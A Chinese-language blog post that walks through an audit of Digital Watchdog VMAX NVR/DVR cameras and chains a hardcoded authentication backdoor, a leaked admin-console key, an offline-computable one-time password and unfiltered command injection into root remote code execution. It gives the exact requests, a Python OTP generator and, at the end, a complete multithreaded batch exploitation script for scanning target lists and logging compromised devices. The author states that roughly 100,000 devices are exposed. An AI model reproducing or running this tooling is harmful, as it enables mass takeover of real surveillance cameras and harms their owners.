Digital Watchdog VMAX IP Plus 摄像头命令执行漏洞审计过程

很久没有更新文章了,发一篇库存,分享一下审计过程和思路,大家可以一起学习

这个设备的漏洞全网大概10w个目标吧,存在漏洞的占大多数,不过没有影响到国内的资产,所以比较适合发出来

目标概况

设备: Digital Watchdog NVR/DVR (DW VMAX A1 Plus 系列)

芯片: 海思 Hi3536 (ARMv7l)

内核: Linux 3.18.20 / 3.10.0_hi3536

Web Server: lighttpd/1.4.54

CGI 框架: 自研 libcgi.so + libcgi_common.so (uClibc 动态链接)

认证: 自研 session 机制 (CGISID cookie + 共享内存)

首先看到 libcgi_common.so 的 check_login_param

int __fastcall check_login_param(int a1, int a2)
{
    char s[256];
    memset(s, 0, sizeof(s));
    s1 = (char *)cgi_param("_f_auth");
    if ( s1 )
    {
        if ( !strcmp(s1, "__jake924__") )     // ← 硬编码后门
            return sub_3310(a1, -1, 0);      // ← 注册 admin session
        return 0;
    }

}

再看sub_3310函数 (session 注册):

libcgi_common.so 的 check_login_param() 函数中存在硬编码后门。当 CGI 参数 _f_auth 等于 jake924时,直接跳过认证,注册管理员 session。

受影响 CGI (导入了 check_login_param):

/cgi-bin/setup.cgi

/cgi-bin/getParam.cgi

/cgi-bin/update_save.cgi

/cgi-bin/live_monitoring.cgi

/cgi-bin/vod_playback.cgi

请求包

GET /cgi-bin/setup.cgi?_f_auth=__jake924__ HTTP/1.1

验证后门生效: 无后门时响应 143B (重定向/空页面),有后门时响应 17276B (完整管理页面)。

获取 Admin Console KEY

原理: admin_console.cgi 页面在 HTML 源码中以 readonly input 明文显示 KEY 值。

请求 (携带 Step 1 的 session cookie):

GET /cgi-bin/admin_console.cgi HTTP/1.1
Host: 
Cookie: CGISID=flnT1F2oJiXAER6xohFspAGQPErefP7uatea17qBpmd5c

响应关键行:

<input id=”key” type=”text” style=”width: 200px” value=”117CD709-D8654A1A” readonly/>

提取 KEY: 117CD709-D8654A1A

KEY 来源: 存储在 /tmp/_admin_console.key 文件中,由设备首次启动时随机生成,格式为 XXXXXXXX-XXXXXXXX (十六进制)。

获取设备日期

原理: OTP 以设备当前日期为种子之一。需要读取设备时间而非攻击机时间。

请求:

GET /cgi-bin/setup_system_information.cgi HTTP/1.1
Host: <target>
Cookie: CGISID=flnT1F2oJiXAER6xohFspAGQPErefP7uatea17qBpmd5c

响应:

var cur_year = "2026";
var cur_month = "3";    // JavaScript 0-based: 0=Jan, 3=Apr
var cur_day = "16";
var cur_hour = "0";
var cur_min = "33";

日期转换: JavaScript month 是 0-based, 需要 +1:

cur_month=3 → 实际月份 = 4 (April)

格式化: 04/16/2026

计算 OTP

算法逆向 (IDA 反编译 admin_console_core.cgi sub_10990):

int sub_10990()
{
  int v0; // r0
  int v1; // r0
  int v2; // r0
  const char *v3; // r6
  int v4; // r0
  bool v5; // zf
  const char *v6; // r5
  const char *v7; // r1
  FILE *v8; // r0
  FILE *v9; // r4
  __time_t tv_sec; // r7
  int v11; // r0
  size_t v12; // r0
  const char *v13; // r1
  int v14; // r2
  int v15; // r0
  int v16; // r12
  char *v17; // r3
  unsigned int v18; // lr
  _BOOL4 v19; // lr
  const char *v20; // r0
  const char *v21; // r0
  const char *v22; // r4
  size_t v23; // r0
  FILE *v24; // r0
  FILE *v25; // r4
  int v26; // r0
  time_t timer; // [sp+Ch] [bp-248h] BYREF
  __int64 v29; // [sp+10h] [bp-244h] BYREF
  _DWORD v30[4]; // [sp+1Ch] [bp-238h] BYREF
  char v31[32]; // [sp+2Ch] [bp-228h] BYREF
  struct tm tp; // [sp+4Ch] [bp-208h] BYREF
  char s[64]; // [sp+78h] [bp-1DCh] BYREF
  char s2[4]; // [sp+B8h] [bp-19Ch] BYREF
  _BYTE v35[60]; // [sp+BCh] [bp-198h] BYREF
  double v36[9]; // [sp+F8h] [bp-15Ch] BYREF
  int v37; // [sp+140h] [bp-114h]
  int v38; // [sp+144h] [bp-110h]
  int v39; // [sp+148h] [bp-10Ch]
  int v40; // [sp+14Ch] [bp-108h]
  struct timeval tv; // [sp+150h] [bp-104h] BYREF

  v0 = cgi_init();
  v1 = cgi_session_start(v0);
  v2 = cgi_process_form(v1);
  cgi_init_headers(v2);
  load_setup(&unk_22198);
  v3 = (const char *)cgi_param("key");
  v4 = cgi_param("pwd");
  v5 = v4 == 0;
  if ( v4 )
    v5 = v3 == 0;
  v6 = (const char *)v4;
  if ( v5 )
    goto LABEL_5;
  memset(s, 0, sizeof(s));
  v8 = (FILE *)fopen64("/tmp/_admin_console.key", "rb");
  v9 = v8;
  if ( v8 )
  {
    fread(s, 1u, 0x40u, v8);
    fclose(v9);
  }
  if ( strcmp(s, v3) )
  {
    v7 = "<font color='red'>key is not matched!</font>";
    goto LABEL_31;
  }
  *(_DWORD *)s2 = 0;
  memset(v35, 0, sizeof(v35));
  gettimeofday(&tv, 0);
  tv_sec = tv.tv_sec;
  v11 = sub_11900(tv.tv_usec, 1000);
  timer = sub_11B40(1000 * tv_sec + v11, (unsigned __int64)(1000LL * tv_sec + v11) >> 32, 1000, 0);
  localtime_r(&timer, &tp);
  snprintf(v31, 0x20u, "%02d/%02d/%04d", tp.tm_mon + 1, tp.tm_mday, tp.tm_year + 1900);
  snprintf((char *)&tv, 0x100u, "$$_NVR ONETIME PWD IS '%s' AND '%s' AND JAKE 700924_$$", v31, v3);
  memset(v30, 0, sizeof(v30));
  v12 = strlen((const char *)&tv);
  v37 = 271733878;
  v36[0] = 0.0;
  v38 = -1732584194;
  v39 = -271733879;
  v40 = 1732584193;
  sub_10EC8(v36, &tv, v12);
  v13 = (const char *)&unk_11DBD;
  *(_QWORD *)&v29 = vshld_n_s64(*(__int64 *)&v36[0], 3u);
  while ( 1 )
  {
    sub_10EC8(v36, v13, 1);
    if ( (LOBYTE(v36[0]) & 0x3F) == 0x38 )
      break;
    v13 = "";
  }
  sub_10EC8(v36, (__int64 *)&v29, 8);
  v14 = 0;
  v15 = 0;
  v16 = 0;
  v30[0] = v40;
  v30[1] = v39;
  v30[2] = v38;
  v30[3] = v37;
  v17 = s2;
  do
  {
    v15 += 8;
    v16 = *((unsigned __int8 *)v30 + v14) + (v16 << 8);
    do
    {
      do
      {
        v18 = (unsigned int)(v16 << 6) >> v15;
        v15 -= 6;
        *v17++ = aAbcdefghijklmn[v18 & 0x3F];
      }
      while ( v15 > 6 );
      v19 = v15 > 0;
      if ( v14 != 7 )
        v19 = 0;
    }
    while ( v19 );
    ++v14;
  }
  while ( v14 != 8 );
  while ( ((unsigned __int8)v17 & 3) != 0 )
    *v17++ = 61;
  *v17 = 0;
  if ( strcmp(v6, s2) )
  {
LABEL_5:
    v7 = "<font color='red'>no permit</font>";
LABEL_31:
    strcpy(&dest, v7);
    goto LABEL_32;
  }
  v20 = (const char *)cgi_param("category");
  dest = 0;
  if ( !strcmp(v20, "system_cmd") )
  {
    v21 = (const char *)cgi_param("cmd");
    v22 = v21;
    if ( v21 )
    {
      if ( *v21 )
      {
        v23 = strlen(v21);
        if ( v22[v23] == 13 )
          v22[v23] = 0;
        unlink("/tmp/_admin_console");
        setenv("LD_LIBRARY_PATH", "$LD_LIBRARY_PATH:/edvr2/lib:/main/lib", 1);
        setenv("PATH", "/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/bin", 1);
        snprintf(command, 0x40000u, "%s &> /tmp/_admin_console", v22);
        system(command);
        v24 = (FILE *)fopen64("/tmp/_admin_console", "rb");
        v25 = v24;
        if ( !v24 )
        {
          v7 = "<font color=red>no output</font>";
          goto LABEL_31;
        }
        fread(&dest, 1u, 0x40000u, v24);
        fclose(v25);
      }
    }
  }
LABEL_32:
  v26 = ajax_check_output(&dest, 0);
  cgi_end(v26);
  return 0;
}

发现 OTP 只用 MD5 摘要的前 8 字节做 Base64 编码 (循环边界 v14 == 7),不是完整 16 字节。

Python 实现:

import hashlib, base64

KEY  = "117CD709-D8654A1A"
DATE = "04/16/2026"  # MM/DD/YYYY, 从设备读取

seed = f"$$_NVR ONETIME PWD IS '{DATE}' AND '{KEY}' AND JAKE 700924_$$"
md5_digest = hashlib.md5(seed.encode()).digest()
otp = base64.b64encode(md5_digest[:8]).decode()   # 只取前8字节!

print(f"OTP: {otp}")
# 输出: OTP: U7EtabS2H/E=

执行命令

原理: admin_console_core.cgi 的 system_cmd分支将 cmd参数零过滤直接拼入system() 调用。

IDA 反编译:

v20 = (const char *)cgi_param("category");
  dest = 0;
  if ( !strcmp(v20, "system_cmd") )
  {
    v21 = (const char *)cgi_param("cmd");
    v22 = v21;
    if ( v21 )
    {
      if ( *v21 )
      {
        v23 = strlen(v21);
        if ( v22[v23] == 13 )
          v22[v23] = 0;
        unlink("/tmp/_admin_console");
        setenv("LD_LIBRARY_PATH", "$LD_LIBRARY_PATH:/edvr2/lib:/main/lib", 1);
        setenv("PATH", "/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/bin", 1);
        snprintf(command, 0x40000u, "%s &> /tmp/_admin_console", v22);
        system(command);
        v24 = (FILE *)fopen64("/tmp/_admin_console", "rb");
        v25 = v24;
        if ( !v24 )
        {
          v7 = "<font color=red>no output</font>";
          goto LABEL_31;
        }
        fread(&dest, 1u, 0x40000u, v24);
        fclose(v25);
      }
    }
  }

请求:

GET /cgi-bin/admin_console_core.cgi?key=117CD709-D8654A1A&pwd=U7EtabS2H/E=&category=system_cmd&cmd=id HTTP/1.1
Host: <target>
curl -k "http://<target>/cgi-bin/admin_console_core.cgi?key=117CD709-D8654A1A&pwd=U7EtabS2H%2FE%3D&category=system_cmd&cmd=id"

响应:

uid=0(root) gid=0(root)

漏洞利用链

攻击者
  │
  │  GET /cgi-bin/setup.cgi?_f_auth=__jake924__
  ▼
[VULN-01] check_login_param() 后门
  │  strcmp(user_input, "__jake924__") == 0
  │  → sub_3310(a1, -1, 0)
  │  → cgi_session_register_var("logon", "0")  // admin
  │  ← Set-Cookie: CGISID=xxx
  ▼
攻击者 (持有 admin session)
  │
  │  GET /cgi-bin/admin_console.cgi
  ▼
[VULN-02] KEY 明文泄露
  │  <input id="key" value="117CD709-D8654A1A" readonly/>
  │  ← KEY = "117CD709-D8654A1A"
  ▼
攻击者 (持有 KEY)
  │
  │  GET /cgi-bin/setup_system_information.cgi
  │  ← cur_month="3" cur_day="16" cur_year="2026"
  │  → date = "04/16/2026" (JS month 0-based, +1)
  ▼
[VULN-03] OTP 离线计算
  │  seed = "$$_NVR ONETIME PWD IS '04/16/2026' AND '117CD709-D8654A1A' AND JAKE 700924_$$"
  │  OTP = Base64( MD5(seed)[0:8] )
  │  → OTP = "U7EtabS2H/E="
  ▼
攻击者 (持有 KEY + OTP)
  │
  │  GET /cgi-bin/admin_console_core.cgi
  │      ?key=117CD709-D8654A1A
  │      &pwd=U7EtabS2H/E=
  │      &category=system_cmd
  │      &cmd=id
  ▼
[VULN-04] system() RCE
  │  cgi_param("cmd") → v22
  │  snprintf(command, 0x40000, "%s &> /tmp/_admin_console", v22)
  │  system(command)  // 零过滤, 直接执行
  │  fopen("/tmp/_admin_console") → fread → 返回输出
  │
  ▼
uid=0(root) gid=0(root)

一键利用脚本

#!/usr/bin/env python3
import sys
import os
import re
import hashlib
import base64
import socket
import argparse
import csv
import threading
import concurrent.futures
from datetime import datetime

socket.setdefaulttimeout(15)

try:
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
print("[!] pip install requests")
sys.exit(1)

BACKDOOR_PARAM = "_f_auth"
BACKDOOR_VALUE = "__jake924__"
OTP_SALT = "$$_NVR ONETIME PWD IS '%s' AND '%s' AND JAKE 700924_$$"

BACKDOOR_CGIS = [
"/cgi-bin/setup.cgi",
"/cgi-bin/getParam.cgi",
"/cgi-bin/update_save.cgi",
"/cgi-bin/live_monitoring.cgi",
"/cgi-bin/vod_playback.cgi",
]

CSV_FIELDS = ["target", "status", "server", "key", "date", "otp", "rce_output", "timestamp"]
csv_lock = threading.Lock()


def s(timeout=10):
sess = requests.Session()
sess.verify = False
sess.headers["User-Agent"] = "Mozilla/5.0 (compatible)"
return sess


def g(sess, url, timeout=10, **kw):
try:
return sess.get(url, timeout=timeout, **kw)
except:
return None


def is_dw(target, timeout=8):
sess = s()
r = g(sess, f"{target}/cgi-bin/login.cgi", timeout, allow_redirects=True)
if r is None:
r = g(sess, f"{target}/", timeout)
if r is None:
return False, ""
server = r.headers.get("Server", "")
body = r.text.lower()
hit = any(k in body for k in ["digital-watchdog", "vmax", "login_proc.cgi",
"cgi-bin_mobile", "redirect_mobile_check",
"rsa_pub_key"]) or "fwebserver" in server.lower()
return hit, server


def try_rce(target, timeout=10):
for cgi in BACKDOOR_CGIS:
sess = s()
r = g(sess, f"{target}{cgi}", timeout, allow_redirects=False,
params={BACKDOOR_PARAM: BACKDOOR_VALUE})
if r is None:
continue

key = None
r2 = g(sess, f"{target}/cgi-bin/admin_console.cgi", timeout)
if r2:
m = re.search(r'id="key"[^>]*value="([^"]*)"', r2.text)
if m:
key = m.group(1)

date_str = datetime.now().strftime("%m/%d/%Y")
r3 = g(sess, f"{target}/cgi-bin/setup_system_information.cgi", timeout)
if r3:
mm = re.search(r'cur_month\s*=\s*"(\d+)"', r3.text)
dd = re.search(r'cur_day\s*=\s*"(\d+)"', r3.text)
yy = re.search(r'cur_year\s*=\s*"(\d+)"', r3.text)
if mm and dd and yy:
date_str = f"{int(mm.group(1))+1:02d}/{int(dd.group(1)):02d}/{yy.group(1)}"

keys = []
if key:
keys.append(key)
keys.extend(["", "admin", "root", "default"])

for k in keys:
seed = OTP_SALT % (date_str, k)
otp = base64.b64encode(hashlib.md5(seed.encode()).digest()[:8]).decode()

r4 = g(sess, f"{target}/cgi-bin/admin_console_core.cgi", timeout + 5,
params={"key": k, "pwd": otp, "category": "system_cmd", "cmd": "id"})
if r4 is None:
continue

body = r4.text
if "404" in body and "Not Found" in body:
return None, None, None, None

clean = re.sub(r'</?xmp>', '', body).strip()
if "uid=" in clean:
return k, date_str, otp, clean

return None, None, None, None


def scan_one(target, timeout, csv_writer, csv_file):
row = {"target": target, "status": "OFFLINE", "server": "", "key": "",
"date": "", "otp": "", "rce_output": "",
"timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S")}

hit, server = is_dw(target, timeout)
if not hit:
if server or hit is not None:
row["status"] = "NOT_DW"
row["server"] = server
flush_row(csv_writer, csv_file, row)
return row

row["server"] = server
row["status"] = "DW_CAM"

key, date_str, otp, output = try_rce(target, timeout)
if output and "uid=" in output:
row["status"] = "RCE"
row["key"] = key or ""
row["date"] = date_str or ""
row["otp"] = otp or ""
row["rce_output"] = output.replace("\n", " ")[:300]

if row["status"] == "RCE":
flush_row(csv_writer, csv_file, row)
return row


def flush_row(writer, f, row):
with csv_lock:
writer.writerow(row)
f.flush()


def load_targets(src):
targets = []
if os.path.isfile(src):
with open(src, "r", encoding="utf-8") as f:
for line in f:
line = line.strip()
if line and not line.startswith("#"):
if not line.startswith("http"):
line = f"http://{line}"
targets.append(line.rstrip("/"))
else:
for t in src.split(","):
t = t.strip()
if t:
if not t.startswith("http"):
t = f"http://{t}"
targets.append(t.rstrip("/"))
return targets


def main():
print("""
DW/HiSilicon Batch RCE Scanner
===============================""")

pa = argparse.ArgumentParser()
pa.add_argument("-t", "--targets", required=True, help="file or comma-separated IPs")
pa.add_argument("-T", "--timeout", type=int, default=10)
pa.add_argument("-w", "--workers", type=int, default=50)
pa.add_argument("-o", "--output", default="C:/tmp/dw_batch_full.csv")
a = pa.parse_args()

targets = load_targets(a.targets)
if not targets:
print("[!] No targets")
sys.exit(1)

total = len(targets)
print(f"[*] Targets: {total} Workers: {a.workers} Timeout: {a.timeout}s")
print(f"[*] Output: {a.output}")
print("=" * 70)

csv_f = open(a.output, "w", newline="", encoding="utf-8")
writer = csv.DictWriter(csv_f, fieldnames=CSV_FIELDS)
writer.writeheader()
csv_f.flush()

stats = {"rce": 0, "dw": 0, "offline": 0, "not_dw": 0}

def worker(t):
return scan_one(t, a.timeout, writer, csv_f)

try:
with concurrent.futures.ThreadPoolExecutor(max_workers=a.workers) as pool:
futs = {pool.submit(worker, t): t for t in targets}
for i, fut in enumerate(concurrent.futures.as_completed(futs), 1):
try:
r = fut.result(timeout=a.timeout * 8)
except Exception:
r = {"target": futs[fut], "status": "ERROR"}

st = r.get("status", "")
if st == "RCE":
stats["rce"] += 1
out = r.get("rce_output", "")[:80]
print(f"[{i}/{total}] [!!!] RCE {r['target']} KEY={r.get('key','')} {out}")
elif st == "DW_CAM":
stats["dw"] += 1
if i % 200 == 0 or i == total:
print(f"[{i}/{total}] scanning... RCE={stats['rce']} DW={stats['dw']}")
elif st == "OFFLINE":
stats["offline"] += 1
else:
stats["not_dw"] += 1
finally:
csv_f.close()

print("\n" + "=" * 70)
print(f"""[*] DONE
Total: {total}
RCE: {stats['rce']}
DW Cam: {stats['dw']}
Offline: {stats['offline']}
Not DW: {stats['not_dw']}
Output: {a.output}""")

if stats["rce"] > 0:
print(f"\n[!!!] {stats['rce']} confirmed RCE (uid=root):")
with open(a.output, "r", encoding="utf-8") as f:
for row in csv.DictReader(f):
if row["status"] == "RCE":
print(f" {row['target']} KEY={row['key']} {row['rce_output'][:60]}")


if __name__ == "__main__":
main()


暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇